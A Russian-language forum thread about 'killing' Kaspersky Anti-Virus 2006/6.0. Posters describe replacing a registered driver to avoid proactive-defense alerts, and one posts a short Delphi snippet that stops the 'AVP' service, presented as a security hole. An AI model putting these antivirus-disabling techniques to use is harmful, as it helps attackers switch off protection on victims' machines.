KAV 2006 и его убийтсво

Проактивка ругается при попытке доступа к /Device/PhisycalMemory...

 

Но ведь на загрузку драйвера KAV выдаст красный алерт проактивки?

 

>> Но ведь на загрузку драйвера KAV выдаст красный алерт проактивки?

смотря как грузить)

 

А по подробнее )

 

И _как_ же надо грузить?!

 

Дык он уже сколько раз писал, что заменяем уже зарегестрированный драйвер на свой, и грузим.

 

Вообще-то это делается просто. Если это KAV, то останавливаем службу. Если KIS, то тут необходимо подумать. Я делал это пол года назад, не помню, по моему там нужно изменить параметры службы KIS.

 

Кстати, не исключено. Где-то на форуме я давно поднимал топик, в котором у меня "потерялся" DebugObject. Оказалось ProcessExplorer вместе с Руссиновичем нагло врали...

 

grnic
дадада. Щас тебе всё рассказали. Шобы дятьки из кала пропатчили.

 

А ты хоть за патчся, все равно умные люди поломают весь этот бизнес, когда им это надо будет. Касперский зависит от умных людей. А они от него нет, ибо на то они и умные, чтобы обходить все, на чем он делает деньги. Ему просто дают это делать, иначе ему бы очень много нужно было бы работать над созданием антивируса, в котором нет ни багов, ни откровенных дыр в системе безопасности. Простой пример "откровенной бреши", следующий небольшой код для KAV 6.0

Код (Text):

1.  
2. LSCMHandle:=OpenSCManager(nil,nil,SC_MANAGER_ALL_ACCESS);
3.   if LSCMHandle<>0 then
4.     begin
5.       LHandle:=OpenService(LSCMHandle,'AVP',SERVICE_ALL_ACCESS);
6.       if LHandle<>0 then
7.         begin
8.           QueryServiceStatus(LHandle,ServiceStatus);
9.           if ServiceStatus.dwCurrentState=SERVICE_RUNNING then
10.             ControlService(LHandle,SERVICE_CONTROL_STOP,ServiceStatus);
11.           CloseServiceHandle(LHandle);
12.         end;
13.       CloseServiceHandle(LSCMHandle);
14.     end;

Че сделать с KIS я думаю, кому надо тот догадается.

 

UPI
да у кава и посерьёзнее дырка есть ))

 

maxdiver
вообще не ту тему открылА
я ещё удивилсЯ, кому до сих пор нужен шестой каспер ))
хм какойже тут пол.

 

опера проглючила открыла
я удивился
=)

 

А может быть можно побить антивирус сообщениями?
Посылаем сообщения интерефейсу (чтобы открыть антивирус, закрыть его или отключить в опциях драйвер).

 

AndreyMust19
AFAIK сам антивирь не имеет интерфейса, он в виде сервиса.

 

Зачем его вобще убивать?